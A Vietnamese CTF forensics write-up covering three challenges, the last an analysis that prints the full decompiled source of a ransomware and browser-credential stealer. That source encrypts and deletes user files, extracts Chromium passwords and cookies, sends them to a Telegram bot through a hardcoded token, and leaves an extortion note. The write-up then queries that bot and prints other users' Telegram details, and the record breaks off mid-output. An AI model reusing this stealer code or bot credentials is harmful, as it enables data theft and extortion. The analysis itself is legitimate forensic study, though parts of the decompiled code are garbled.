---
# System prepended metadata

title: World Wide CTF 2024 (FORENSICS)

---

# Write Up World Wide CTF 2024 (FORENSICS)
![image](https://hackmd.io/_uploads/By4h-PgNke.png)

## 1. Too Hidden
![image](https://hackmd.io/_uploads/BJkyGweV1e.png)
Bài cho file `.pcapng`, mở ra thì mình thấy toàn các gói `icmp`, dạng này khá dễ nhận biết, đọc qua thử:  
![image](https://hackmd.io/_uploads/BkANzwlEye.png)
Có thể thấy được mỗi gói chứa data 46/45/32, nếu decode decimal thì nó sẽ ra các ký tự morse, trích xuất hết ra thử:  
```bash=
tshark -r chall.pcapng -Y "icmp" -T fields -e data
```
![image](https://hackmd.io/_uploads/HkpBmvgNJl.png)

```python=
data = """
3436
3435
3435
3332
3436
...
"""

numbers = data.strip().split()
filtered_data = ' '.join(f"{num[:2]} {num[2:]}" for num in numbers)
print(filtered_data)

```

```python=
data = """
46454532464545324646454632324646464632454545324645464632454645453246464545464532464646324646464632463246324632463245324646454546453245464545324545453246464532464645454645324546454632464532454632464645454645324646454632464632454632454646324646454546453245453246324646454546453246464545464632464645454646324646454546463246464545464632464645454646324646454546463246464545464632464645454646324646454546463246464545464632
"""  
data = data.strip().replace("\n", "")
filtered_data = ' '.join(data[i:i+2] for i in range(0, len(data), 2))
print(filtered_data)
```
![image](https://hackmd.io/_uploads/HJFkLPg4yl.png)
> Flag: WWF{HOLY_SHEEEET_YOU_CAN_FIND_ME_??????????}

---
## 2. Forgot Password
![image](https://hackmd.io/_uploads/B1qMUPe41g.png)
- Đề bài nói rằng không thể đăng nhập và cần khôi phục mật khẩu, nhưng không nhớ các câu hỏi bảo mật.
- Trong Windows, thông tin về mật khẩu và tài khoản người dùng được lưu trữ trong SAM (Security Account Manager).

> File SAM lưu trữ thông tin băm (hash) của mật khẩu tài khoản người dùng trong hệ điều hành Windows.
> Khi cần khôi phục mật khẩu hoặc kiểm tra tài khoản, SAM là tệp trọng tâm vì nó lưu giữ các băm này.

Bài cho file `.ad1`, mở bằng `ftk`, tìm đến vị trí file `SAM`, export ra, mở bằng registry explorer, mình có  
![image](https://hackmd.io/_uploads/SJsFvDe4yx.png)
```bash=
Reset Data
{"version":1,"questions":[{"question":"What was your first pet’s name?","answer":"wwf{I_love_"},{"question":"What’s the name of the city where you were born?","answer":"security_questions_"},{"question":"What was your childhood nickname?","answer":"s0_muChhhhhhhhhhhhhhhhh}"}]}
```
> Flag: wwf{I_love_security_questions_s0_muChhhhhhhhhhhhhhhhh}

---
## 3. Black Meet Wukong
![image](https://hackmd.io/_uploads/S15Awve4yg.png)
>https://drive.google.com/file/d/1SGOyMhxvupxYXJhCoRY2nxKi-5aEsydJ/view

Tiếp tục điều tra trong file `.ad1` đó, mình đọc thử các file log:  
![image](https://hackmd.io/_uploads/BJzcIseNJe.png)
Có thể thấy có đoạn base 64 khả nghi, tiếp tục decode:  
![image](https://hackmd.io/_uploads/rkxf0UogEJe.png)
> Start-Process C:\Users\wukong\AppData\Local\Microsoft\Windows\bLAcKmEeTWUkOng.exe

Đường dẫn cho ta đến 1 file `.exe`, có lẽ là malware, tìm theo đường dẫn đó, mình có:  

![image](https://hackmd.io/_uploads/rJePwilEJl.png)

Export file đó ra thử, cảnh báo ngay lập tức xuất hiện, bỏ vô máy ảo phân tích tiếp:  

Dùng `pyinstxtractor` phân tích file `.exe`:  

![image](https://hackmd.io/_uploads/rJYc_jlEkl.png)

Có được file `bLAcKmEeTWUkOng.pyc`, decode sang python, dùng `uncompyle6`/`pycdc`, có được source:  

```python=
import os
from cryptography.fernet import Fernet
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import winreg as wrg
import requests
import base64
import subprocess
import json
import random
import shutil
import sqlite3
import time
import ctypes
from datetime import datetime
from threading import Thread
from ctypes import wintypes
from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer
from urllib3 import PoolManager, HTTPResponse, disable_warnings as disable_warnings_urllib3

disable_warnings_urllib3()
PC_username = os.getlogin()
key_fernet = [b'zTskoYGm68VrSiOM6J9W0PqyKTfSyraM0NydVmJvM_k=', b'pcD23bRQTL1MqLS84NdPsiPdYJlwbTaal6JmulzTq4k=', b'9EBQNDjmy0rGXCbVgVnrgFFsAHk4Ye1M8y1GSIx9CPY=', b'663RnK5l0MQzewfpAQfYhJbL3p7ZRoR-j7I3DkXiUIk=', b'I5Arxkgfo2E56VBVctFjJ-pFkeBbQg6QXMuG-gNgqq4=', b'eXP1sKfkTE9PNkWR8rA9jzJqun80yMYPrzMMi65JQpw=', b'56S9Sv7zUPL71w6N2OTSwxvFl_a-5zvsN6rxQI97UWU=', b'gZcRMaVftMg_F9E4tNQ_etAR7_PKT_vVfWwWkMSxDQc=', b'-XmaKL4uo4p0gM5ARQZtxjZ_5ecK1w53AEkWuiWDIzQ=', b'ikNfBtrrX-9EBI3iKzWnBJW5wNNvi8rM4oT9BLqDJNw=', b'uEikHaHAX1B20aB_bcQwUA0aO21Ai-rgYAqGfKxHKJA=', b'deoHTwNvwTOuQjoy5oh9jN_ZQlLbVCvwI47D3sQt8UA=', b'xuaD7BqwreniKZAvBO38MO250oO40HXboxhU8--6YQ0=', b'X5GfY_zukIDPKxyzmMYFkps-Av8Ao2TQDPmckrjb3ZQ=', b'CAOD7XSW4e-ON33uz5_8h6RZhorDlKg798e1RcEYSlo=', b'dMphwlwO6Qh_FCdbMzseoZsWkQWPFtGx8VSiFAN2SSo=', b'q4NfcRieLIKnyBwFEhUxZcR_8A3BFS_n_cIE8sFX8a4=', b'hLfAPR06xuo545qJlzlYko5f9KKuXOBrCBNgzruTV14=']
key_xori = 'y0u_l00k_l1k3_X1sh1_&_b3_my_l4dy'
``
def god_bless_aes(data, key):
    key = key.encode('utf-8')
    cipher = AES.new(key, AES.MODE_ECB)
    padded_text = pad(data, AES.block_size)
    cipher_text = cipher.encrypt(padded_text)
    return cipher_text

def xoriiiiiiiiiii(data, key):
    return bytearray([b ^ key[i % len(key)] for i, b in enumerate(data)])

def crypter_fichier(file_path, output_path):
    with open(file_path, 'rb') as file:
        original_data = file.read()
    encrypted_data = original_data
    for key in key_fernet:
        fernet = Fernet(key)
        encrypted_data = fernet.encrypt(encrypted_data)
    encrypted_data = xoriiiiiiiiiii(encrypted_data, key_fernet[0])
    final = god_bless_aes(encrypted_data, key_xori)
    with open(output_path, 'wb') as enc_file:
        enc_file.write(final)
path_list = ['C:\\Users\\{}\\Documents'.format(PC_username), 'C:\\Users\\{}\\Pictures'.format(PC_username), 'C:\\Users\\{}\\Desktop'.format(PC_username), 'C:\\Users\\{}\\Downloads'.format(PC_username)]
fname = []
for path in path_list:
    for root, d_names, f_names in os.walk(path):
        for f in f_names:
            fname.append(os.path.join(root, f))
for file in fname:
    if 'desktop.ini' not in file:
        crypter_fichier(file, file + '.odin')
        os.system('del \"{}\"'.format(file))
APPDATA: str = os.getenv('APPDATA')
LOCALAPPDATA: str = os.getenv('LOCALAPPDATA')
TAPI: str = '7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q'
TCHATID: str = '-4528960795'

class ChoriumBrowsers:
    encryptionKey: bytes = None
    BrowserPath: str = None
    LoginFilePaths: str = None
    savePath: str = None
    oldPath: str = None

    def __init__(self, browserPath: str) -> bool:
        if 'Opera' in browserPath:
            self.oldPath = browserPath
            browserPath = os.path.join(APPDATA, browserPath)
        else:  # inserted
            self.oldPath = browserPath
            browserPath = os.path.join(LOCALAPPDATA, browserPath)
        self.BrowserPath = browserPath
        self.encryptionKey = self.GetEncryptionKey()

    @staticmethod
    def Check(browserPath: str) -> bool:
        if 'Opera' in browserPath:
            browserPath = os.path.join(APPDATA, browserPath)
        else:  # inserted
            browserPath = os.path.join(LOCALAPPDATA, browserPath)
        if not os.path.exists(path=browserPath):
            return False
        return True

    def GetEncryptionKey(self) -> bytes:
        if self.encryptionKey is not None:
            return self.EncryptionKey
        localStatePath = os.path.join(self.BrowserPath, 'Local State')
        if os.path.isfile(localStatePath):
            for i in ['chrome', 'brave', 'opera', 'edge', 'comodo', 'epic', 'iridium', 'opera']:
                Utility.TaskKill(i)
            with open(localStatePath, encoding='utf-8', errors='ignore') as file:
                jsonContent = json.load(file)
                encryptedKey = jsonContent['os_crypt']['encrypted_key']
                encryptedKey = base64.b64decode(encryptedKey.encode())[5:]
                self.EncryptionKey = Syscalls.CryptUnprotectData(encryptedKey)
                return self.EncryptionKey

    def GetLoginPaths(self, browserPath: str):
        loginFilePaths = list()
        for root, _, files in os.walk(browserPath):
            for file in files:
                if file.lower() == 'login data':
                    filepath = os.path.join(root, file)
                    loginFilePaths.append(filepath)
        return loginFilePaths

    def GetPasswords(self, savePath: str):
        browserName = self.oldPath.split('\\')[0] + '_' + self.oldPath.split('\\')[1]
        for path in self.GetLoginPaths(self.BrowserPath):
            name = f'[{browserName}]'
            if 'Default' in path:
                name += 'Default_Password.txt'
            else:  # inserted
                a = path.split('\\')
                name += a[len(a) - 2] + '_Password.txt'
            pass
                tempfile = os.path.join(os.getenv('temp'), Utility.GetRandomString(10) + '.db')
                if not os.path.isfile(tempfile):
                    break
            try:
                for i in ['chrome', 'brave', 'opera', 'edge', 'comodo', 'epic', 'iridium', 'opera']:
                    Utility.TaskKill(i)
                shutil.copy(path, tempfile)
            except Exception:
                pass  # postinserted
            else:  # inserted
                db = sqlite3.connect(tempfile)
                db.text_factory = lambda b: b.decode(errors='ignore')
                cursor = db.cursor()
                f = None
                try:
                    results = cursor.execute('SELECT origin_url, username_value, password_value FROM logins').fetchall()
                    f = open(savePath + name, mode='a+', encoding='utf8')
                    for url, username, password in results:
                        password = self.Decrypt(password, self.encryptionKey)
                        f.write(f'URL: {str(url)}\nUsername: {str(username)}\nPassword: {str(password)}\n')
                        Counter.PasswordCount += 1
                    f.close()
                    if os.path.getsize(savePath + name) <= 0:
                        os.remove(savePath + name)
            except Exception as e:
                pass  # postinserted
            pass
            print(e)

    def Decrypt(self, buffer: bytes, key: bytes):
        version = buffer.decode(errors='ignore')
        if version.startswith(('v10', 'v11')):
            iv = buffer[3:15]
            cipherText = buffer[15:]
            cipher = AES.new(key, AES.MODE_GCM, iv)
            decrypted_pass = cipher.decrypt(cipherText)
            decrypted_pass = decrypted_pass[:(-16)].decode()
            return decrypted_pass
        return str(Syscalls.CryptUnprotectData(buffer))

    def GetCookiesPath(self, browserPath: str):
        cookiesFilePaths = list()
        for root, _, files in os.walk(self.BrowserPath):
            for file in files:
                if file.lower() == 'cookies':
                    filepath = os.path.join(root, file)
                    cookiesFilePaths.append(filepath)
        return cookiesFilePaths

    def GetCookies(self, savePath: str):
        browserName = self.oldPath.split('\\')[0] + '_' + self.oldPath.split('\\')[1]
        for path in self.GetCookiesPath(self.BrowserPath):
            name = f'[{browserName}]'
            if 'Default' in path:
                name += 'Default_Cookies.txt'
            else:  # inserted
                a = path.split('\\')
                name += a[len(a) - 3] + '_Cookies.txt'
            pass
                tempfile = os.path.join(os.getenv('temp'), Utility.GetRandomString(10) + '.tmp')
                if not os.path.isfile(tempfile):
                    break
            try:
                for i in ['chrome', 'brave', 'opera', 'edge', 'comodo', 'epic', 'iridium', 'opera']:
                    Utility.TaskKill(i)
                shutil.copy(path, tempfile)
            except:
                pass
            else:  # inserted
                db = sqlite3.connect(tempfile)
                db.text_factory = lambda b: b.decode(errors='ignore')
                cursor = db.cursor()
                try:
                    results = cursor.execute('SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies').fetchall()
                    f = open(savePath + name, 'a+', encoding='utf8')
                    for host, name, path, cookie, expiry in results:
                        cookie = self.Decrypt(cookie, self.encryptionKey)
                        flag1 = 'FALSE' if expiry == 0 else 'TRUE'
                        flag2 = 'FALSE' if str(host).startswith('.') else 'TRUE'
                        if host and name and cookie:
                            pass  # postinserted
                except Exception:
                        else:  # inserted
                            f.write(f'{host}\t{flag1}\t{path}\t{flag2}\t{expiry}\t{name}\t{cookie}\n')
                            Counter.CookiesCount += 1
                    else:  # inserted
                        f.close()
                        if os.path.getsize(savePath + name) <= 0:
                            os.remove(savePath + name)
            pass

class Counter:
    CookiesCount: int = 0
    PasswordCount: int = 0
    FilesCount: int = 0
    WalletsCount: int = 0
    TelegramSessionsCount: int = 0

class Utility:
    @staticmethod
    def GetRandomString(length: int=5, invisible: bool=False):
        if invisible:
            return ''.join(random.choices([' ', chr(8239)] + [chr(x) for x in range(8192, 8208)], k=length))

    @staticmethod
    def TaskKill(*tasks: str) -> None:
        tasks = list(map(lambda x: x.lower(), tasks))
        out = subprocess.run('tasklist /FO LIST', shell=True, capture_output=True).stdout.decode(errors='ignore').strip().split('\r\n\r\n')
        for i in out:
            i = i.split('\r\n')[:2]
            try:
                name, pid = (i[0].split()[(-1)], int(i[1].split()[(-1)]))
                name = name[:(-4)] if name.endswith('.exe') else name
                for task in tasks:
                    if task in name.lower():
                        subprocess.run('taskkill /F /PID %d' % pid, shell=True, capture_output=True)
            except Exception:
                pass  # postinserted
            pass
        else:  # inserted
            pass

    @staticmethod
    def GetInkTarget(path_ink: str):
        target = None
        if os.path.isfile(path_ink):
            output = subprocess.run('wmic path win32_shortcutfile where name=\"%s\" get target /value' % os.path.abspath(path_ink).replace('\\', '\\\\'), shell=True, capture_output=True).stdout.decode()
            if output:
                for line in output.splitlines():
                    if line.startswith('Target='):
                        temp = line.lstrip('Target=').strip()
                        if os.path.exists(temp):
                            target = temp
                            except:
                                pass  # postinserted
                            return target
        return target

    @staticmethod
    def GetLnkFromStartMenu(app: str):
        shortcutPaths = []
        startMenuPaths = [os.path.join(os.environ['APPDATA'], 'Microsoft', 'Windows', 'Start Menu', 'Programs'), os.path.join('C:\\', 'ProgramData', 'Microsoft', 'Windows', 'Start Menu', 'Programs')]
        for startMenuPath in startMenuPaths:
            for root, _, files in os.walk(startMenuPath):
                for file in files:
                    if file.lower() == '%s.lnk' % app.lower():
                        shortcutPaths.append(os.path.join(root, file))
        return shortcutPaths

class Syscalls:
    @staticmethod
    def CreateMutex(mutex: str) -> bool:
        kernel32 = ctypes.windll.kernel32
        mutex = kernel32.CreateMutexA(None, False, mutex)
        return kernel32.GetLastError()!= 183

    @staticmethod
    def CryptUnprotectData(encrypted_data: bytes, optional_entropy: str=None) -> bytes:
        class DATA_BLOB(ctypes.Structure):
            _fields_ = [('cbData', ctypes.c_ulong), ('pbData', ctypes.POINTER(ctypes.c_ubyte))]
        pDataIn = DATA_BLOB(len(encrypted_data), ctypes.cast(encrypted_data, ctypes.POINTER(ctypes.c_ubyte)))
        pDataOut = DATA_BLOB()
        pOptionalEntropy = None
        if optional_entropy is not None:
            optional_entropy = optional_entropy.encode('utf-16')
            pOptionalEntropy = DATA_BLOB(len(optional_entropy), ctypes.cast(optional_entropy, ctypes.POINTER(ctypes.c_ubyte)))
        if ctypes.windll.Crypt32.CryptUnprotectData(ctypes.byref(pDataIn), None, ctypes.byref(pOptionalEntropy) if pOptionalEntropy is not None else None, None, None, 0, ctypes.byref(pDataOut)):
            data = (ctypes.c_ubyte * pDataOut.cbData)()
            ctypes.memmove(data, pDataOut.pbData, pDataOut.cbData)
            ctypes.windll.Kernel32.LocalFree(pDataOut.pbData)
            return bytes(data)
        raise ValueError('Invalid encrypted_data provided!')

class Paths:
    Orbitum = (os.path.join('Google', 'Chrome', 'User Data'), os.path.join('Chromium', 'User Data'), os.path.join('Thorium', 'User Data'), os.path.join('Google(x86)', 'Chrome', 'User Data'), os.path.join('CentBrowser', 'User Data'), os.path.join('Chedot', 'User Data'), os.path.join('Vivaldi', 'User Data'), os.path.join('Kometa', 'User Data'), os.path.join('Elements Browser', 'User Data'), os.path.join('CryptoTab Browser', 'User Data'), os.path.join('Epic Privacy Browser', 'uCozMedia', 'Uran', 'Fenrir Inc'), os.path.join('Sleipnir5', 'setting', 'modules'), os.path.join('ChromiumViewer', 'CatalinaGroup', 'Citrio'), os.
    isRun = False

    @staticmethod
    def kill():
        while Paths.isRun:
            for i in ['chrome', 'brave', 'opera', 'edge']:
                Utility.TaskKill(i)
            time.sleep(0.2)

def Steal(savePath: str):
    os.chdir(savePath)
    saveBrowserCookies = savePath + '\\Browsers Data\\Cookies\\'
    saveBrowserPasswords = savePath + '\\Browsers Data\\Passwords\\'
    os.makedirs(saveBrowserCookies, exist_ok=True)
    os.makedirs(saveBrowserPasswords, exist_ok=True)
    threads = []
    for path in Paths.browserPaths:
        if ChoriumBrowsers.Check(path) == False:
            continue
        instace = ChoriumBrowsers(browserPath=path)
        instace.GetCookies(saveBrowserCookies)
        instace.GetPasswords(saveBrowserPasswords)
    saveSystemInfo = savePath + '\\SystemInfomation.txt'
    computerName = os.getenv('computername') or 'Unable to get computer name'
    computerOS = subprocess.run('wmic os get Caption', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().splitlines()
    computerOS = computerOS[2].strip() if len(computerOS) >= 2 else 'Unable to detect OS'
    totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().split()
    totalMemory = str(int(int(totalMemory[1]) / 1000000000)) + ' GB' if len(totalMemory) >= 1 else 'Unable to detect total memory'
    uuid = subprocess.run('wmic csproduct get uuid', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().split()
    uuid = uuid[1].strip() if len(uuid) >= 1 else 'Unable to detect UUID'
    cpu = subprocess.run('powershell Get-ItemPropertyValue -Path \'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment\' -Name PROCESSOR_IDENTIFIER', capture_output=True, shell=True).stdout.decode(errors='ignore').strip() or 'Unable to detect CPU'
    gpu = subprocess.run('wmic path win32_VideoController get name', capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()
    gpu = gpu[2].strip() if len(gpu) >= 2 else 'Unable to detect GPU'
    productKey = subprocess.run('powershell Get-ItemPropertyValue -Path \'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform\' -Name BackupProductKeyDefault', capture_output=True, shell=True).stdout.decode(errors='ignore').strip() or 'Unable to get product key'
    info = '============================================================\n'
    info += '###################### Odin Grabber  #############################\n'
    info += f'Name: {str(computerName)}\n'
    info += f'OS: {str(computerOS)}\n'
    info += f'CPU: {str(cpu)}\n'
    info += f'GPU: {str(gpu)}\n'
    info += f'RAM: {str(totalMemory)}\n'
    info += f'UUID: {str(uuid)}\n'
    info += f'Product Key: {str(productKey)}\n'
    info += '============================================================\n'
    with open(saveSystemInfo, 'w') as f:
        f.write(info)
        f.close()
    InfoLog.FileName = computerName
    InfoLog.IP = requests.get('https://api.ipify.org?format=json').json()['ip']
    j = requests.get('https://ipinfo.io/json').json()
    InfoLog.Country = j['region'] + ' ' + j['country']
    InfoLog.Date = datetime.today().strftime('%d-%m-%Y %H:%M:%S')
    for t in threads:
        t.join()

class InfoLog:
    FileName: str
    IP: str
    Country: str
    Date: str
if os.name == 'nt':
    TempPath = ''
    while True:
        TempPath = os.path.join(os.getenv('temp'), Utility.GetRandomString(10))
        if not os.path.isdir(TempPath):
            break
    Paths.isRun = True
    os.makedirs(TempPath)
    t1 = Thread(target=Steal, args={TempPath})
    t1.start()
    t1.join()
    zipf = TempPath
    shutil.make_archive(zipf, 'zip', TempPath)
    zipf = zipf + '.zip'
    info = f'<b>====== Stealer Logs =======</b>\n<b>==== PC Infomation ====</b>\nName: {InfoLog.FileName}\nIP: {InfoLog.IP}\nCountry: {InfoLog.Country}\nDate: {InfoLog.Date}\n<b>==== Browser Data ====</b>\nCookies: {Counter.CookiesCount}\nPasswords: {Counter.PasswordCount}\n<b>==== Wallets ====</b>\n'
    filename = f'{InfoLog.Country}-{InfoLog.IP}-{InfoLog.Date}'
    files = {'document': (filename + '.zip', open(zipf, 'rb'), 'text/plain')}
    data = {'chat_id': TCHATID, 'caption': info, 'parse_mode': 'HTML'}
    response = requests.post(url=url, files=files, data=data)
    if response.status_code == 200:
        print('Done')
url = 'https://raw.githubusercontent.com/odintheprotector/malware_image/main/odin.jpg'
response = requests.get(url, allow_redirects=True)
output_file = 'C:\\Users\\' + PC_username + '\\Downloads\\odin.jpg'
with open(output_file, 'wb') as file:
    file.write(response.content)
with wrg.OpenKey(wrg.HKEY_CURRENT_USER, 'Control Panel\\Desktop', 0, wrg.KEY_SET_VALUE) as key:
    wrg.SetValueEx(key, 'WallPaper', 0, wrg.REG_SZ, output_file)
    wrg.SetValueEx(key, 'WallpaperStyle', 0, wrg.REG_SZ, '2')
    wrg.SetValueEx(key, 'TileWallpaper', 0, wrg.REG_SZ, '0')
with open('C:\\Users\\{}\\Desktop\\ODIN_WANT_TO_SAY.txt'.format(PC_username), 'w') as note:
    note.write('ALL YOUR FILES WERE ENCRYPTED!\nIf you want to recover all your files, just send me your n*de image\nI will give you the program to decrypt')
os.system('shutdown -r -t 3')
```

Tổng quát thì con malware này đa chức năng:  

Mã hóa file trên máy nạn nhân:

- Các file trong các thư mục Documents, Pictures, Desktop, và Downloads được mã hóa bằng nhiều phương pháp (AES, XOR, và Fernet).
- File gốc bị xóa sau khi mã hóa, và file mã hóa được lưu với đuôi .odin.

Đánh cắp thông tin nhạy cảm:

- Cookies và mật khẩu: Mã đọc dữ liệu từ các trình duyệt Chromium-based (Chrome, Brave, Edge, Opera, v.v.) để lấy thông tin đăng nhập và cookies.
- Thông tin hệ thống: Bao gồm tên máy tính, OS, CPU, GPU, RAM, UUID, và Product Key.

Gửi thông tin về server tấn công:

- Thông qua API Telegram (TAPI và TCHATID) gửi file mã hóa và thông tin hệ thống.

Thay đổi hình nền máy tính:

- Tải một hình ảnh từ URL và đặt làm hình nền.

Hiển thị thông báo tống tiền:

- Tạo một file văn bản trên Desktop với nội dung đe dọa ("ALL YOUR FILES WERE ENCRYPTED!") và yêu cầu gửi "nội dung nhạy cảm" để lấy công cụ giải mã.

Khởi động lại máy tính:

- Sau khi thực hiện tất cả hành vi trên, mã thực hiện lệnh shutdown -r -t 3 để khởi động lại máy tính.

Và author có đề cập đến việc flag có 2 phần, thì từ source của con mã độc này, có thể dự đoán là có 1 phần ở các file bị mã hóa thành đuôi `.odin`, viết script để tự động giải mã ngược lại các file đó:  

```python=
from cryptography.fernet import Fernet
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# Danh sách các khóa Fernet (sử dụng lần lượt)
fernet_keys = [
    b'zTskoYGm68VrSiOM6J9W0PqyKTfSyraM0NydVmJvM_k=',
    b'pcD23bRQTL1MqLS84NdPsiPdYJlwbTaal6JmulzTq4k=',
    b'9EBQNDjmy0rGXCbVgVnrgFFsAHk4Ye1M8y1GSIx9CPY=',
    b'663RnK5l0MQzewfpAQfYhJbL3p7ZRoR-j7I3DkXiUIk=',
    b'I5Arxkgfo2E56VBVctFjJ-pFkeBbQg6QXMuG-gNgqq4=',
    b'eXP1sKfkTE9PNkWR8rA9jzJqun80yMYPrzMMi65JQpw=',
    b'56S9Sv7zUPL71w6N2OTSwxvFl_a-5zvsN6rxQI97UWU=',
    b'gZcRMaVftMg_F9E4tNQ_etAR7_PKT_vVfWwWkMSxDQc=',
    b'-XmaKL4uo4p0gM5ARQZtxjZ_5ecK1w53AEkWuiWDIzQ=',
    b'ikNfBtrrX-9EBI3iKzWnBJW5wNNvi8rM4oT9BLqDJNw=',
    b'uEikHaHAX1B20aB_bcQwUA0aO21Ai-rgYAqGfKxHKJA=',
    b'deoHTwNvwTOuQjoy5oh9jN_ZQlLbVCvwI47D3sQt8UA=',
    b'xuaD7BqwreniKZAvBO38MO250oO40HXboxhU8--6YQ0=',
    b'X5GfY_zukIDPKxyzmMYFkps-Av8Ao2TQDPmckrjb3ZQ=',
    b'CAOD7XSW4e-ON33uz5_8h6RZhorDlKg798e1RcEYSlo=',
    b'dMphwlwO6Qh_FCdbMzseoZsWkQWPFtGx8VSiFAN2SSo=',
    b'q4NfcRieLIKnyBwFEhUxZcR_8A3BFS_n_cIE8sFX8a4=',
    b'hLfAPR06xuo545qJlzlYko5f9KKuXOBrCBNgzruTV14='
]

# Khóa AES
aes_key = 'y0u_l00k_l1k3_X1sh1_&_b3_my_l4dy'

# Hàm giải mã Fernet
def fernet_decrypt(data, keys):
    for key in reversed(keys):  # Giải mã ngược thứ tự mã hóa
        f = Fernet(key)
        data = f.decrypt(data)
    return data

# Hàm giải mã XOR
def xor_decrypt(data, key):
    return bytearray([b ^ key[i % len(key)] for i, b in enumerate(data)])

# Hàm giải mã AES
def aes_decrypt(data, key):
    cipher = AES.new(key.encode('utf-8'), AES.MODE_ECB)
    return unpad(cipher.decrypt(data), AES.block_size)

# Đọc file mã hóa
input_file = 'wukong.png.odin'  # Thay bằng file bạn muốn giải mã
with open(input_file, 'rb') as file:
    encrypted_data = file.read()

try:
    # Giải mã AES
    print("[+] Starting AES decryption...")
    aes_decrypted_data = aes_decrypt(encrypted_data, aes_key)
    print("[+] AES decryption successful!")

    # Giải mã XOR
    print("[+] Starting XOR decryption...")
    xor_key = fernet_keys[0]  # Sử dụng khóa đầu tiên trong danh sách Fernet cho XOR
    xor_decrypted_data = xor_decrypt(aes_decrypted_data, xor_key)
    print("[+] XOR decryption successful!")

    # Giải mã Fernet
    print("[+] Starting Fernet decryption...")
    xor_decrypted_data_bytes = bytes(xor_decrypted_data)  # Chuyển sang bytes
    fernet_decrypted_data = fernet_decrypt(xor_decrypted_data_bytes, fernet_keys)
    print("[+] Fernet decryption successful!")

    # Lưu kết quả cuối cùng
    output_file = 'final_decrypted_file.png'
    with open(output_file, 'wb') as file:
        file.write(fernet_decrypted_data)
    print(f"[+] Decryption completed! File saved to {output_file}")
except Exception as e:
    print(f"[-] Decryption failed: {e}")
```

Thử hết các file `.odin`, mình có được part 1 flag:  
![image](https://hackmd.io/_uploads/HJ2Lcjl4yx.png)

Tiếp tục với part 2, có thể thấy ngoài việc mã hóa các file thì source có đề cập đến cả bot tele:  

Mã độc sử dụng Telegram API để gửi thông tin lấy được về cho kẻ tấn công. Nó gửi các thông tin sau:

- File nén chứa dữ liệu của cookies và mật khẩu từ các trình duyệt.
- Thông tin hệ thống: Gửi các thông tin về máy tính và địa chỉ IP của nạn nhân.

Tìm part 2 của flag từ các thông báo được bot Telegram gửi đi. Bot Telegram sử dụng Token API (TAPI) và Chat ID (TCHATID) để gửi và nhận các thông tin.

Phân tích bot Telegram
Từ mã nguồn mã độc, bot Telegram sử dụng TAPI và TCHATID để tương tác với API Telegram nhằm gửi thông tin về nạn nhân đến nhóm Telegram được quản lý bởi kẻ tấn công. Các tin nhắn này chứa thông tin như:

- Cấu hình hệ thống
- Dữ liệu trình duyệt (cookies, mật khẩu, v.v.)
- Thông báo ransomware

Thông tin liên quan từ mã độc:

- TAPI: 7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q
- TCHATID: -4528960795

Lấy các tin nhắn từ bot qua API Telegram
Sử dụng lệnh getUpdates của Telegram API để lấy toàn bộ tin nhắn được gửi bởi bot:

```bash=
https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/getUpdates
```

Hoặc sử dụng đoạn mã Python:

```python=
import requests

# Cấu hình Bot Token
bot_token = '7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q'

# URL của Telegram API
url = f'https://api.telegram.org/bot{bot_token}/getUpdates'

# Lấy dữ liệu từ bot
response = requests.get(url)
data = response.json()

# In kết quả
print(data)
```

Lúc khai thác mình có được dữ liệu này (may là nó chưa bị xóa), vì bot được cài đặt tự động xóa sau thời gian nhất định :  
```bash!
{'ok': True, 'result': [{'update_id': 160555867, 'message': {'message_id': 674, 'from': {'id': 7870990883, 'is_bot': False, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'language_code': 'vi'}, 'chat': {'id': 7870990883, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'type': 'private'}, 'date': 1733031791, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555868, 'message': {'message_id': 680, 'from': {'id': 7870990883, 'is_bot': False, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'language_code': 'vi'}, 'chat': {'id': 7870990883, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'type': 'private'}, 'date': 1733031901, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555869, 'message': {'message_id': 691, 'from': {'id': 8051097960, 'is_bot': False, 'first_name': 'Trọng', 'last_name': 'Tâm', 'username': 'trongtam211', 'language_code': 'vi'}, 'chat': {'id': 8051097960, 'first_name': 'Trọng', 'last_name': 'Tâm', 'username': 'trongtam211', 'type': 'private'}, 'date': 1733032182, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555870, 'message': {'message_id': 702, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033173, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555871, 'message': {'message_id': 708, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033192, 'text': '.'}}, {'update_id': 160555872, 'message': {'message_id': 709, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 